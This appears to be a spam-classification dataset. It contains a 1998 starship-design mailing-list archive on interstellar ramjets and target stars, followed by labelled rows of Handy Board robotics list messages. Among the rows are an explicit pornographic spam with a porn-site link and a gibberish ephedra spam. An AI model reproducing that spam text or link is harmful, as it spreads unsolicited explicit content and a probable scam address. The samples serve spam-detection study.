done without generating > so much drag from slowing down the fuel that we can't get enough thrust out > of burning the fuel. > > What I would suggest, is that IF we can generate a field sufficiently strong > to catch ionized hydrogen, then we can probably generate one strong enough > to function as a sort of inside out accelerator and simply magnetically (or > whatever) propel the hydrogen backward without even bothering to burn it. > The second possibility is that the field itself may be able to accelerate > the matter as it is deflected inward, before it is burned thereby gaining > additional thrust rather than drag. > > Lee -- Kevin Houston http://www.lpmn.org/candidates/ Libertarian candidate for Congress - District 5 >From VM Fri Sep 25 09:59:01 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""637"" ""Thu"" ""24"" ""September"" ""1998"" ""20:13:58"" ""-0500"" ""Kevin Houston"" ""kevin@urly-bird.com"" nil ""18"" ""starship-design: Re: suitable punishments in hell."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 637 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id SAA14360 for starship-design-outgoing; Thu, 24 Sep 1998 18:15:11 -0700 (PDT) Received: from web12.ntx.net (root@web12.ntx.net [209.1.144.158]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id SAA14315 for ; Thu, 24 Sep 1998 18:15:08 -0700 (PDT) Received: from urly-bird.com (wf-6-16.wavefront.net [206.146.208.192]) by web12.ntx.net (8.8.5/8.7.3) with ESMTP id SAA05721 for ; Thu, 24 Sep 1998 18:16:05 -0700 (PDT) Message-ID: <360AEE56.F3A8CBEB@urly-bird.com> Organization: http://www.urly-bird.com/houston4thehouse/ X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 References: <001501bde71a$4f7251e0$e15931cc@lparker> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Kevin Houston From: Kevin Houston Sender: owner-starship-design@lists.uoregon.edu To: Starship Design Subject: starship-design: Re: suitable punishments in hell. Date: Thu, 24 Sep 1998 20:13:58 -0500 Lee, I think this would be a suitable sentence in hell, you must spend eternity throwing tennis balls out the back of a full-sized replica of the santa maria, until you reach .9999 C. Sort of like Sisyphus. ;) L. Parker wrote: > > Second, the upper limit on velocity IS NOT the exhaust velocity of the > engine, go back to your freshman physics book if you don't believe me, and I > don't care who you've been reading. With enough reaction mass, you can get > to light speed by THROWING tennis balls off the back of the Santa Maria! -- Kevin Houston http://www.lpmn.org/candidates/ Libertarian candidate for Congress - District 5 >From VM Fri Sep 25 09:59:01 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""971"" ""Thu"" ""24"" ""September"" ""1998"" ""21:22:09"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""27"" ""RE: starship-design: scoops and sails and something to push against."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 971 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id TAA02865 for starship-design-outgoing; Thu, 24 Sep 1998 19:25:44 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id TAA02858 for ; Thu, 24 Sep 1998 19:25:41 -0700 (PDT) Received: from lparker (p275.gnt.com [204.49.91.35]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id VAA25792; Thu, 24 Sep 1998 21:25:37 -0500 Message-ID: <001701bde82b$4cd7f0e0$e15931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: <360AED73.CDC56FC8@urly-bird.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Kevin Houston"" Cc: ""Starship Design"" Subject: RE: starship-design: scoops and sails and something to push against. Date: Thu, 24 Sep 1998 21:22:09 -0500 Kevin, This is pretty much what Timothy and I were discussing. To clear up a few points for the rest of the list... In order for an electromagnetic scoop to work, the particles that it ""scoops"" must be charged, or ionized, you cannot scoop a neutral particle. The most common method proposed for creating charged particles is to beam a laser ""fan"" ahead of the ship. The photons impacting the interstellar hydrogen will create a hydrogen ion with a negative charge which can then be attracted to a positively charged scoop field. In this much at least your idea is good. It removes the mass of the lasers from the ship and you could actually use an uncollimated solar mirror which is much simpler. However, the density of the scoop field and the energy required to generate it are still enormous. On board power generation would probably have to be several times larger than a small city's supply. Timothy, How do you generate a field with a sharp boundary? Lee >From VM Fri Sep 25 09:59:01 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""5601"" ""Thu"" ""24"" ""September"" ""1998"" ""23:21:31"" ""-0500"" ""Kevin Houston"" ""kevin@urly-bird.com"" nil ""125"" ""Re: starship-design: scoops and sails and something to push against."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 5601 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id VAA01044 for starship-design-outgoing; Thu, 24 Sep 1998 21:22:46 -0700 (PDT) Received: from web12.ntx.net (root@web12.ntx.net [209.1.144.158]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id VAA01033 for ; Thu, 24 Sep 1998 21:22:44 -0700 (PDT) Received: from urly-bird.com (wf-6-16.wavefront.net [206.146.208.192]) by web12.ntx.net (8.8.5/8.7.3) with ESMTP id VAA26349 for ; Thu, 24 Sep 1998 21:23:38 -0700 (PDT) Message-ID: <360B1A4B.3B903632@urly-bird.com> Organization: http://www.urly-bird.com/houston4thehouse/ X-Mailer: Mozilla 4.04 [en] (WinNT; I) MIME-Version: 1.0 References: <001701bde82b$4cd7f0e0$e15931cc@lparker> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Kevin Houston From: Kevin Houston Sender: owner-starship-design@lists.uoregon.edu To: Starship Design Subject: Re: starship-design: scoops and sails and something to push against. Date: Thu, 24 Sep 1998 23:21:31 -0500 Lee, It seemed to me that you were talking about gathering the hydrogen in toward the ship, then expelling it again. ( fig. 1.) (Note missed hydrogen) H H H H H H H \\ \\ H | | | / / \\ | | | H | | / \\ \\ \\ | / H / / H H \\ H | | | | | H / \\ \\ |H | | / / \\ | \\ | / | / H H H \\ \\ | | | / / \\ || | || / H H \\ V | V / H H \\ \\ | / / H H H \\ \\|/ / \\ | / H \\|/ ||| [S] [H] [I] [P] ||| HHH HHH ||| VVV Whereas I am proposing this: (fig 2) H H H | | H | H H V V | V | | H V H V V | H | H H V H | V | H | | V H V | V V | V V - - - - - - - - - - - - negative charges -----------[ship]----------- + + + + + + + + + + + + positive charges H H H | | H | H H V V | V | | H V H V V | H | H H V H | V | H | | V H V | V v | v V Where the dashed line is some sort of combination field conductor, and energy collector. I see this ship as a large saucer, with living quarters toward the middle, and a very thin mesh of wires, and energy collectors spread out along the periphery. Rotation would keep the whole thing stable, and spread out. the above view would be from the side. Think of it as a giant version of starwisp, but instead of reflecting the energy, the mesh collects the energy, turns it into electricity, which supports an electric field of several megawatts potential. I suppose we'll need two meshes, one for the positive charge, and one for the negative. They only need to be separated enough to prevent bridging. I imagine the field must be pulsed to get any use out of it, but with a ""Sail"" a few hundred kilometers across, we should find enough Hydrogen to push against. Not much, granted, but with a big enough field, we should be able to make the hydrogen ions move fast enough so as to push us in the the opposite direction. I think perhaps this would work better at higher speeds, where the apparent density will increase. L. Parker wrote: > > Kevin, > > This is pretty much what Timothy and I were discussing. To clear up a few > points for the rest of the list... > > In order for an electromagnetic scoop to work, the particles that it > ""scoops"" must be charged, or ionized, you cannot scoop a neutral particle. > > The most common method proposed for creating charged particles is to beam a > laser ""fan"" ahead of the ship. The photons impacting the interstellar > hydrogen will create a hydrogen ion with a negative charge which can then be > attracted to a positively charged scoop field. Umm... Negative? By stripping away an electron, wouldn't it be positive? If I'm wrong, then reverse the charges on the above drawing. > > In this much at least your idea is good. It removes the mass of the lasers > from the ship and you could actually use an uncollimated solar mirror which > is much simpler. mirror, really? That would be better, but would it be strong enough at light years distance? > > However, the density of the scoop field and the energy required to generate > it are still enormous. On board power generation would probably have to be > several times larger than a small city's supply. not if you are swimming in a sea of energy capable of ionizing hydrogen ;) > > Timothy, > > How do you generate a field with a sharp boundary? > > Lee -- Kevin Houston http://www.lpmn.org/candidates/ Libertarian candidate for Congress - District 5 >From VM Fri Sep 25 09:59:02 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2167"" ""Fri"" ""25"" ""September"" ""1998"" ""08:41:56"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""82"" ""RE: starship-design: scoops and sails and something to push against."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2167 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id GAA26255 for starship-design-outgoing; Fri, 25 Sep 1998 06:46:36 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id GAA26243 for ; Fri, 25 Sep 1998 06:46:33 -0700 (PDT) Received: from lparker (p272.gnt.com [204.49.91.32]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id IAA11228; Fri, 25 Sep 1998 08:46:28 -0500 Message-ID: <001801bde88a$44e178c0$e15931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 In-Reply-To: <360B1A4B.3B903632@urly-bird.com> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Kevin Houston"" Cc: ""Starship Design"" Subject: RE: starship-design: scoops and sails and something to push against. Date: Fri, 25 Sep 1998 08:41:56 -0500 Kevin, This diagram would be the ramjet or hybrid ramjet > > It seemed to me that you were talking about gathering the hydrogen in > toward the ship, then expelling it again. ( fig. 1.) (Note missed > hydrogen) > > > > H H H H H H H > \\ \\ H | | | / / > \\ | | | H | | / > \\ \\ \\ | / H / / H > H \\ H | | | | | H / > \\ \\ |H | | / / > \\ | \\ | / | / H H > H \\ \\ | | | / / > \\ || | || / > H H \\ V | V / H H > \\ \\ | / / H > H H \\ \\|/ / > \\ | / H > \\|/ > ||| > [S] > [H] > [I] > [P] > ||| > HHH > HHH > ||| > VVV > > This one is the external accelerator > Whereas I am proposing this: (fig 2) > > > H H H > | | H | H H > V V | V | | > H V H V V > | H | H > H V H | V | H > | | V H V | > V V | V > V > - - - - - - - - - - - - negative charges > -----------[ship]----------- > + + + + + + + + + + + + positive charges > H H H > | | H | H H > V V | V | | > H V H V V > | H | H > H V H | V | H > | | V H V | > V v | v > V > The problem is how to generate two monopolar fields? If you simply use two grids, your net thrust will be zero. > > Umm... Negative? By stripping away an electron, wouldn't it be > positive? If I'm wrong, then reverse the charges on the above drawing. > I'm not sure, but I think you would end up with both positive and negative ions in roughly equal amounts. > not if you are swimming in a sea of energy capable of ionizing hydrogen Umm. there is not really that much usable energy there for the taking. Lee >From VM Mon Sep 28 09:42:25 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1753"" ""Sun"" ""27"" ""September"" ""1998"" ""17:41:06"" ""+0100"" ""Zenon Kulpa"" ""zkulpa@zmit1.ippt.gov.pl"" nil ""48"" ""starship-design: Travel close to the speed of light as you fly a Star Ship to a distant Star"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1753 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA29256 for starship-design-outgoing; Sun, 27 Sep 1998 09:45:09 -0700 (PDT) Received: from zmit1.ippt.gov.pl (zmit1.ippt.gov.pl [148.81.53.8]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id JAA29250 for ; Sun, 27 Sep 1998 09:45:04 -0700 (PDT) Received: (from zkulpa@localhost) by zmit1.ippt.gov.pl (8.8.5/8.7.3-zmit) id RAA11167; Sun, 27 Sep 1998 17:41:06 +0100 (MET) Message-Id: <199809271641.RAA11167@zmit1.ippt.gov.pl> Precedence: bulk Reply-To: Zenon Kulpa From: Zenon Kulpa Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Cc: zkulpa@zmit1.ippt.gov.pl Subject: starship-design: Travel close to the speed of light as you fly a Star Ship to a distant Star Date: Sun, 27 Sep 1998 17:41:06 +0100 (MET) I received this letter some time ago, when I was on my holidays. I have not yet checked the recommended site - maybe it contains something interesting.. >From the letter it seems pretty well-known thing already. -- Zenon Kulpa ----- Begin Included Message ----- >From holmsoft@dundee.net Wed Sep 16 04:58:55 1998 From: ""Larry Holm"" To: Cc: Subject: Travel close to the speed of light as you fly a Star Ship to a distant Star Date: Tue, 15 Sep 1998 23:08:03 -0400 Content-Length: 1164 Travel close to the speed of light as you fly a Star Ship to a distant planet into orbit around a distant star. I've written a program to make some calculations. I'm not sure if I'm crazy or just wrong, but if I'm right, it might be something to think about and share with the world. Please check it out at http://www.dundee.net/holmsoft/StarTrip.html Please let me know what you think about this at holmsoft@dundee.net If you could share this with some friends, I would really appreciate it. Accelerating at one Earth gravity, 32.2 feet per second per second. The Ship will reach 99.9995750753503 percent Light Velocity. At that velocity, one day on the Ship will equal about 343 Earth days. The Ship will be traveling about one Earth Light Year per one Ship day. To reach this velocity will take 11 months 18.13 Ship days or 1 year 6 months 5.41 Earth days. Accelerated by a Ram Jet Fusion Engine using Interstellar Hydrogen for fuel. At near light velocity the Engine Scoops will be collecting billions of Hydogen protons per second. I hope a rock doesn't hit the windshield. Thanks for your time, Larry Holm 09/13/98 holmsoft@dundee.net Belleville, MI. ----- End Included Message ----- >From VM Mon Sep 28 09:42:25 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""14621"" ""Sun"" ""27"" ""September"" ""1998"" ""17:11:38"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""421"" ""starship-design: Target Selection (html)"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 14621 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id PAA21917 for starship-design-outgoing; Sun, 27 Sep 1998 15:13:16 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id PAA21912 for ; Sun, 27 Sep 1998 15:13:13 -0700 (PDT) Received: from lparker (p298.gnt.com [204.49.91.58]) by hurricane.gnt.net (8.9.1a/8.9.0) with SMTP id RAA13571 for ; Sun, 27 Sep 1998 17:13:10 -0500 Message-ID: <000a01bdea63$cd85c5c0$c15931cc@lparker> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_000B_01BDEA39.E4B75EE0"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: Target Selection (html) Date: Sun, 27 Sep 1998 17:11:38 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_000B_01BDEA39.E4B75EE0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit This is a list of all the stars within 55 light years that match ALL of the selection criteria for planets capable of supporting intelligent terrestrial type life forms within acceptable limits. There may be habitable planets around other stars not listed here, but the odds are very low. The 46 Nearest Stars Similar to the Sun Name Distance (light-years) Magnitude (visual) Luminosity (Sun=1) Spectrum Tau Ceti 11.8 3.5 .4 G8 82 Eridani 20.2 4.3 .7 G5 Zeta Tucanae 23.3 4.2 .9 G2 107 Piscium 24.3 5.2 .4 K1 Beta Comae - - - - Berenices 27.2 4.3 1.2 G0 61 Virginis 27.4 4.7 .8 G6 Alpha Mensae 28.3 5.1 .6 G5 Gliese 75 28.6 5.6 .4 K0 Beta Canum - - - - Venaticorum 29.9 4.3 1.4 G0 Chi Orionis 32 4.4 1.5 G0 54 Piscium 34 5.9 .4 K0 Zeta 1 Reticuli 37 5.5 .7 G2 Zeta 2 Reticuli 37 5.2 .9 G2 Gliese 86 37 6.1 .4 K0 Mu Arae 37 5.1 .9 G5 Gliese 67 38 5.0 1.2 G2 Gliese 668.1 40 6.3 .4 G9 Gliese 302 41 6.0 .6 G8 Gliese 309 41 6.4 .4 K0 Kappa Fornacis 42 5.2 1.3 G1 58 Eridani 42 5.5 .9 G1 Zeta Doradus 44 4.7 2.0 F8 55 Cancri 44 6.0 .7 G8 47 Ursa Majoris 44 5.1 1.5 G0 Gliese 364 45 4.9 1.8 G0 Gliese 599A 45 6.0 .6 G6 Nu Phoenicis 45 5.0 1.8 F8 Gliese 95 45 6.3 .5 G5 Gliese 796 47 5.6 .5 G8 20 Leo Minoris 47 5.4 1.2 G4 39 Tauri 47 5.9 .8 G1 Gliese 290 47 6.6 .4 G8 Gliese 59.2 48 5.7 1.0 G2 Psi Aurigae 49 5.2 1.5 G0 Gliese 722 49 5.9 .9 G4 Gliese 788 49 5.9 .8 G5 Nu 2 Lupi 50 5.6 1.1 G2 14 Herculis 50 6.6 .5 K1 Pi Ursa Majoris 51 5.6 1.2 G0 Phi 2 Ceti 51 5.2 1.8 F8 Gliese 641 52 6.6 .5 G8 Gliese 97.2 52 6.9 .4 K0 Gliese 541.1 53 6.5 .6 G8 109 Piscium 53 6.3 .8 G4 Gliese 651 53 6.8 .4 G8 Gliese 59 53 6.7 .4 G8 This table lists all known stars within a radius of 54 light-years that are single or part of a wide multiple star system. They have no known irregularities or variabilities and are between 0.4 and 2.0 times the luminosity of the sun. Thus, a planet basically identical to Earth could be orbiting around any one of them. (Data from the Catalog of Nearby Stars, 1969 edition, by Wilhelm Gliese.) Lee ------=_NextPart_000_000B_01BDEA39.E4B75EE0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable This=20 is a list of all the stars within 55 light years that match ALL of the = selection=20 criteria for planets capable of supporting intelligent terrestrial type = life=20 forms within acceptable limits. There may be habitable planets around = other=20 stars not listed here, but the odds are very low.=20   The 46 Nearest Stars Similar to the=20 Sun Name Distance (light-years) Magnitude (visual) Luminosity (Sun=3D1) Spectrum Tau Ceti 11.8 3.5 .4 G8 82 Eridani 20.2 4.3 .7 G5 Zeta Tucanae 23.3 4.2 .9 G2 107 Piscium 24.3 5.2 .4 K1 Beta Comae - - - - Berenices 27.2 4.3 1.2 G0 61 Virginis 27.4 4.7 .8 G6 Alpha Mensae 28.3 5.1 .6 G5 Gliese 75 28.6 5.6 .4 K0 Beta Canum - - - - Venaticorum 29.9 4.3 1.4 G0 Chi Orionis 32 4.4 1.5 G0 54 Piscium 34 5.9 .4 K0 Zeta 1 Reticuli 37 5.5 .7 G2 Zeta 2 Reticuli 37 5.2 .9 G2 Gliese 86 37 6.1 .4 K0 Mu Arae 37 5.1 .9 G5 Gliese 67 38 5.0 1.2 G2 Gliese 668.1 40 6.3 .4 G9 Gliese 302 41 6.0 .6 G8 Gliese 309 41 6.4 .4 K0 Kappa Fornacis 42 5.2 1.3 G1 58 Eridani 42 5.5 .9 G1 Zeta Doradus 44 4.7 2.0 F8 55 Cancri 44 6.0 .7 G8 47 Ursa Majoris 44 5.1 1.5 G0 Gliese 364 45 4.9 1.8 G0 Gliese 599A 45 6.0 .6 G6 Nu Phoenicis 45 5.0 1.8 F8 Gliese 95 45 6.3 .5 G5 Gliese 796 47 5.6 .5 G8 20 Leo Minoris 47 5.4 1.2 G4 39 Tauri 47 5.9 .8 G1 Gliese 290 47 6.6 .4 G8 Gliese 59.2 48 5.7 1.0 G2 Psi Aurigae 49 5.2 1.5 G0 Gliese 722 49 5.9 .9 G4 Gliese 788 49 5.9 .8 G5 Nu 2 Lupi 50 5.6 1.1 G2 14 Herculis 50 6.6 .5 K1 Pi Ursa Majoris 51 5.6 1.2 G0 Phi 2 Ceti 51 5.2 1.8 F8 Gliese 641 52 6.6 .5 G8 Gliese 97.2 52 6.9 .4 K0 Gliese 541.1 53 6.5 .6 G8 109 Piscium 53 6.3 .8 G4 Gliese 651 53 6.8 .4 G8 Gliese 59 53 6.7 .4 G8   This table lists all known stars within a radius = of 54=20 light-years that are single or part of a wide multiple star system. They = have no=20 known irregularities or variabilities and are between 0.4 and 2.0 times = the=20 luminosity of the sun. Thus, a planet basically identical to Earth could = be=20 orbiting around any one of them. (Data from the Catalog of Nearby Stars, = 1969=20 edition, by Wilhelm Gliese.)     Lee   ------=_NextPart_000_000B_01BDEA39.E4B75EE0-- >From VM Mon Sep 28 09:42:25 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""9833"" ""Mon"" ""28"" ""September"" ""1998"" ""01:39:35"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""154"" ""RE: starship-design: Bussard drive"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 9833 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id QAA17371 for starship-design-outgoing; Sun, 27 Sep 1998 16:43:39 -0700 (PDT) Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id QAA17355 for ; Sun, 27 Sep 1998 16:43:36 -0700 (PDT) Received: from - (dc2-modem737.dial.xs4all.nl [194.109.130.225]) by smtp1.xs4all.nl (8.8.8/8.8.8) with SMTP id BAA25816 for ; Mon, 28 Sep 1998 01:43:28 +0200 (CEST) Message-Id: <3.0.1.32.19980928013935.0068da84@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: References: <3.0.1.32.19980924225645.0068a474@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=""=====================_906939575==_"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: RE: starship-design: Bussard drive Date: Mon, 28 Sep 1998 01:39:35 +0100 --=====================_906939575==_ Content-Type: text/plain; charset=""us-ascii"" Lee, >How do you generate a field with a sharp boundary? Essentially you don't want a field where it can't contribute. Magnetic shielding (with say iron) would be one solution. Another probably more efficient solution would be to design coils in such a way that the strongest parts of the magnetic field are contained in the volume where one would like them most. I've added a GIF to visualize what I mean with designing/shaping a coil. (WARNING: a little understanding about magnetic fields is necessary) (Red=tube around which electric wire is wound to make an electromagnet) (Blue=part of the magnetic magnetic field outside the coil) In the images, the charged particles are assumed to arrive from the right side. Let's start with image C, a charged particle will spiral towards the mouth of the engine. The stronger the magnetic field, the smaller the ""circle"" of its path. The magnetic field should be perpendicular on the direction of motion, to accomplish this. (Perpendicular on the direction of motion in these drawings is up/down and inside/outside the paper.) The particles will come from the right, thus we would want want the strongest perpendicular field at the right side. As I hope you can imagine, design B will accomplish this better than design A. Essentially the shape of the edges(openings) of the coil and their direction will shape the field. One can for example also flatten the edges (ie. make them ellipsoidal rather than circular). Also combinations of coils may shape the field more and more as preferred. BTW. You might be able to scoop a neutral particle, since neutral particles can have magnetic spin. I guess though that the magnetic-magnetic interaction between the spin and the scoop field is much less than the electric-magnetic interaction of an ionized atom and the magnetic scoop field. Nels, As far as I know we always meant to use the scooped hydrogen as fuel and propellant, not for propellant alone. We might carry a bit of anti-matter to ignite fusion reactions, but that's about it. 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starship-design: Travel close to the speed of light as you fly a Star Ship to a distant Star"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2328 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id XAA25971 for starship-design-outgoing; Sun, 27 Sep 1998 23:17:49 -0700 (PDT) Received: from fep2.mail.ozemail.net (fep2.mail.ozemail.net [203.2.192.122]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id XAA25963 for ; Sun, 27 Sep 1998 23:17:45 -0700 (PDT) Received: from ozemail.com.au (slbne7p15.ozemail.com.au [203.108.251.207]) by fep2.mail.ozemail.net (8.9.0/8.6.12) with ESMTP id QAA18150 for ; Mon, 28 Sep 1998 16:17:42 +1000 (EST) Message-ID: <360F29A3.6FE159A6@ozemail.com.au> X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 References: <199809271641.RAA11167@zmit1.ippt.gov.pl> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: AJ Crowl From: AJ Crowl Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Travel close to the speed of light as you fly a Star Ship to a distant Star Date: Mon, 28 Sep 1998 16:16:07 +1000 Hi Group, Let's see if I can say something sensible. Zenon Kulpa wrote: > I received this letter some time ago, when I was on my holidays. > I have not yet checked the recommended site - maybe it contains > something interesting.. > >From the letter it seems pretty well-known thing already. > > -- Zenon Kulpa > > ----- Begin Included Message ----- > > >From holmsoft@dundee.net Wed Sep 16 04:58:55 1998 > From: ""Larry Holm"" > To: > Cc: > Subject: Travel close to the speed of light as you fly a Star Ship to a distant Star > Date: Tue, 15 Sep 1998 23:08:03 -0400 > Content-Length: 1164 > > Travel close to the speed of light as you fly a Star Ship to a distant > planet into orbit around a distant star. > I've written a program to make some calculations. I'm not sure if I'm crazy > or just wrong, but if I'm right, it might be something to think about and > share with the world. > > Please check it out at http://www.dundee.net/holmsoft/StarTrip.html > > Please let me know what you think about this at holmsoft@dundee.net > > If you could share this with some friends, I would really appreciate it. > > Accelerating at one Earth gravity, 32.2 feet per second per second. > The Ship will reach 99.9995750753503 percent Light Velocity. > At that velocity, one day on the Ship will equal about 343 Earth days. > The Ship will be traveling about one Earth Light Year per one Ship day. > To reach this velocity will take 11 months 18.13 Ship days or 1 year 6 > months 5.41 Earth days. > Accelerated by a Ram Jet Fusion Engine using Interstellar Hydrogen for > fuel. At near light velocity the Engine Scoops will be collecting billions > of Hydogen protons per second. > I hope a rock doesn't hit the windshield. > > Thanks for your time, > Larry Holm 09/13/98 > holmsoft@dundee.net > Belleville, MI. > > ----- End Included Message ----- We all know that a hydro-fusion ramjet just ain't gonna get to 0.9 c let alone .999etc. Also I don't know how Larry calculated his figures but they're way off. To reach a gamma of 343 it'd take 332.5 years real time, and 12.66 years tau. He got the rock against the windshield right though. I'm a bit suspicious. Sounds too eager to have people visit his site and download. Does he have a virus he wants to share? Adam",0,1 Candy ,handyboard@media.mit.edu,"Wed, 23 Sep 1998 14:51:11 -0700",comely russsian Girl in ponoo!," Youngest esthetical Eighteen fucked by oldman. http://svoimedvaste.info/fpanporn.htm?iSPhfd.fX,hj U,N,$,U,B,$,,C,R,I,B,E http://svoimedvaste.info ",1,1 Maz Rahm ,handyboard@media.mit.edu,"Wed, 23 Sep 1998 11:21:21 -0700","multitasking, and sonar sensors"," I've read through the maunual for the Handy Board, and I am aware that the handy board has multitasking capabilities. The manual says that the function: start_process(...) is the function to use to have the handy board multitask. WHERE is this function? It isn't in any of the libraries that come with IC 2.85, this manual was for this version. Can anyone email me the code? To substitute I've been using an infinite loop such as: while (1) { ... } This works, but the start_process fucntion is A LOT more intuitive. Can anyone help? thanks! ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Choo Wei Keong ,handyboard@media.mit.edu,"Thu, 24 Sep 1998 15:07:06 +0800",Motor Output,"Dear All, I've problem trying to power 12V 4A DC motors directly from HB. 1) Has anyone try this (4A) with TI SN754410 (piggy back them) ? 2) How do I connect the external diode to L298 ? Regards, keong :-) ",0,0 Ruth ,handyboard@media.mit.edu,"Thu, 24 Sep 1998 19:29:36 -0800",Good effects of Ephedra on your body,"some blackout be etymology , histochemistry a solemnity on disembowel ",1,0 Will ,handyboard@media.mit.edu,"Thu, 24 Sep 1998 12:53:49 -0400",fred please help," I just bought a pre-assembled Handyboard. And I am about to explore it. Already I am having problems. I am trying to go into the bootstrap download mode as described in the manual, but it doesnt work. I turn off the handy board, hold down the STOP button, turn on the board, lights go on, lights stay on. It is my understanding they should go off. It never worked, so I know I didnt screw it up, how can I test or fix this? I would appreciate any help. (I am not a technical whiz, so please take it easy on me.) Thank you. ",0,0 Maz Rahm ,handyboard@media.mit.edu,"Thu, 24 Sep 1998 11:13:25 -0700",Re: Motor Output," >Dear All, > > I've problem trying to power 12V 4A DC motors directly from HB. > > 1) Has anyone try this (4A) with TI SN754410 (piggy back them) ? > 2) How do I connect the external diode to L298 ? > >Regards, >keong :-) The solution is really simple. All you have to do is run the power from the motor outputs to a relay. This relay will activate another circuit (an automatic switch with power detected from motor outputs)which has your 12DC 4A motors AND it's own power source. If you would like help with using a relay, just ask! ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Remi Desrosiers ,handyboard@media.mit.edu,"Thu, 24 Sep 1998 19:40:40 -0400",Re: Motor Output,"At 11:13 AM 9/24/98 -0700, you wrote: > > >>Dear All, >> >> I've problem trying to power 12V 4A DC motors directly from HB. >> >> 1) Has anyone try this (4A) with TI SN754410 (piggy back them) ? >> 2) How do I connect the external diode to 